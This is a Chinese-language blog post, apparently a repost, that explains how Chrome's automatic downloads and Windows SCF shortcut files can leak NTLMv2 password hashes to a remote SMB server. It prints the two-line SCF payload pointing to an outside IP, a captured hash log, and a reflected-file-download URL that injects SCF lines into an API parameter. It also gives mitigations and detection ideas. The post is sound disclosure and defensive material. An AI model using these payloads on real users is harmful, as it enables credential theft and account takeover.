• SEO文章推广! 合作联系qq:122325244 正式全面改版 !免费SEO地址:https://www.seozhan.cn/tool 站长QQ群
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏SEO站长博客吧

如何使用谷歌Chrome浏览器窃取Windows密码

脚本编程 SEO站长博客 4个月前 (08-01) 68次浏览 已收录 0个评论

摘要

   写在前面的话

利用 Windows 操作系统的 SMB 文件共享协议来窃取身份凭证的攻击技术长久以来都一直存在,这是一个难以避免的问题。虽然这种技术有多种实现方式,但大多都局限于本地网络内。在过去的十多年里,还没有人公开演示过针对浏览器(除了 IE 和 Edge 之外)的 SMB 认证攻击,但是在这篇文章中我们将介绍一种 Windows 凭证窃取攻击,这种技术会影响目前最流行的 Web浏览器-ChromeChrome(默认配置下),以及支持该浏览器的所有 Windows 版本。

   问题描述

在默认配置下,Chrome浏览器会自动下载它认为安全的文件,而且不会提示用户选择文件的存储位置(使用的是预设地址)。从安全的角度来看,这个功能是存在问题的,但如果恶意文件想要运行的话,还是需要用户手动点击“打开/运行”按钮才可以。不过,如果下载下来的文件不需要用户交互就能够执行恶意操作的话,那又该怎么办呢?真的有哪一类文件可以做到这一点吗?

Windows 资源管理器 Shell 命令文件(.scf 文件)是一种鲜为人知的文件类型,可以追溯到 Windows98。可能只有 Windows98/Me/NT/2000/XP 用户可能遇到过这种文件,当时它主要用来显示桌面快捷方式。它本质上是一种文本文件,其中有一部分可以确定一段需要运行的命令(仅限于运行资源管理器和切换桌面)和一个图标文件的位置。下面是一个 SCF 文件的内容示例:

[Shell]

Command=2

IconFile=explorer.exe,3

[Taskbar]

Command=ToggleDesktop

随着 Windows 快捷方式 LNK 文件的诞生,当文件显示在资源管理器中时,图标地址会进行自动解析。将图标地址指向一台远程 SMB 服务器已经是众所周知的攻击向量了,这种技术利用了 Windows 在访问远程文件服务时的自动化身份验证功能。但是从攻击的角度来看,LNK 和 SCF 之间的区别在哪里呢?自从震网病毒出现之后,Chrome 会强制将 LNK 文件的后缀名改为.download,但 SCF 文件并没有得到相同的待遇。

因此,我们可以利用一个仅含两行代码的 SCF 文件来欺骗 Windows 系统:

[Shell]

IconFile=\\170.170.170.170\icon

文件下载完成之后,当用户在 Windows 资源管理器中打开下载目录的那一瞬间,请求就会被触发,随后文件便会被删除。整个过程根本不需要用户点击或打开下载文件,因为 Windows 资源管理器会自动尝试获取“icon”(图标)内容。

攻击者所设置的远程 SMB 服务器随时准备着捕获目标用户的用户名以及 NTLMv2 密码哈希,他们可以将这些数据用于离线破解或伪造用户身份并访问在线服务(SMB 中继攻击)。捕获到的信息大致如下:

[*] SMB Captured – 2017-05-15 13:10:44 +0200

NTLMv2 Response Captured from 173.203.29.182:62521 -173.203.29.182

USER:Bosko DOMAIN:Master OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:98daf39c3a253bbe4a289e7a746d4b24NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e00000000020000000000000000000000

Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e0000000002000000000000000000000

上面这个例子泄漏了目标用户的用户名、所在域(Domain)、以及 NTLMv2 密码哈希。

需要注意的是,无论你的系统设置如何,SCF 文件在 Windows 资源管理器中都不会显示其后缀名(.scf)。因此,类似 picture.jpg.scf 这样的文件名在 Windows 资源管理器中显示的就是 picture.jpg。因此,这也使得利用 SCF 文件的攻击活动更加难以被发现了。

   影响 密码泄漏

对于企业和政府用户来说,密码泄漏将有可能导致内网提权和数据泄漏等风险出现。对于使用了微软账号(MSA)而非本地账号的 Windows8/10 的用户来说,密码泄漏将会影响用户所有的微软服务,例如 OneDrive、Office365、Office Online、Skype、以及 Xbox Live 等等。与此同时,密码重用等问题还会导致更多的账号发生泄漏。

从密码破解的可行性方面来说,近些年来,基于 GPU 的密码破解技术得到了巨大的发展。现在,一张 Nvidia GTX 1080 的计算能力约为 1600MH/s,即每秒可计算 16 亿哈希值。对于一个长度为 8 个字符的密码,一台配备了四块 GTX1080 的密码破解机可以在不到一天时间里遍历整个密码空间(包括大小写字母+常用特殊字符(!@#$%))。

   SMB 中继攻击

像 Microsoft Exchange(或 Outlook)这种允许远程访问的以及使用 NTLM 作为身份验证方法的服务将有可能受到 SMB 中继攻击,攻击者将能够伪装成受害者来访问用户的数据,而且还不用破解用户的密码。Jonathan Brossard 在 BlackHat 黑客大会上已经向全世界演示过这种方法了,感兴趣的同学可以观看这个演示视频【传送门】。

在某些特殊情况下,攻击者甚至还可以在中继攻击的帮助下,利用窃取来的证书入侵目标网络,并获取内部网络的访问权。

   针对 SCF 的反病毒产品

浏览器无法提示这方面的安全风险时,我们只能指望其他的安全解决方案能够保护我们的安全了。于是我们对当前领先的安全解决方案进行了测试,以确定它们是否能够识别这类恶意下载文件。但不幸的是,所有测试产品都无法将这类文件标记为可疑对象。不过,想要识别出可疑的 SCF 文件其实也并不难,我们只要检查文件中的 IconFile 参数所指向的地址就可以了,所以我们希望厂商在将来能够增加这种检测机制。

   反射文件下载(RFD)攻击

注:这种攻击技术最早是由 OrenHafif 发现的,感兴趣的同学可以参考这篇文章【参考资料】。

由于 SCF 格式比较简单,而我们的攻击只需要两行代码,而且可定制程度较高,因此它也非常适用于 RFD 攻击。

RFD 通常针对的是 RESTfulAPI 节点,因为它们通常允许我们在 URL 路径中设置文件的扩展名。Chrome 不会直接下载 API 响应内容类型,因此我们需要在“href=”属性中添加下载链接来强制浏览器完成下载。

我们以 WorldBankAPI 为例进行演示:

http://api

%0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0Bformat=jsonp

由于字符“%0B”无法打印出来,因此 Chrome 将会自动将响应内容下载并保存为 iwantyourhash.scf 文件。当保存这个文件的下载目录被打开之后,Windows 将会尝试与远程 SMB 服务器进行身份验证,并暴露目标用户的认证哈希。

   缓解方案

为了防止这种通过 SCF 文件所进行的 NTLMv2 凭证窃取攻击,我们可以通过下列方法禁用 Chrome 浏览器的自动下载功能:设置->显示高级设置->勾选“在下载之前询问保存文件路径”选项。

除此之外,我们也希望谷歌能够在将来的 Chrome 浏览器版本中解决这个问题。 weinxin


SEO站长博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:如何使用谷歌Chrome浏览器窃取Windows密码
喜欢 (0)
[h4ck3st@126.com]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址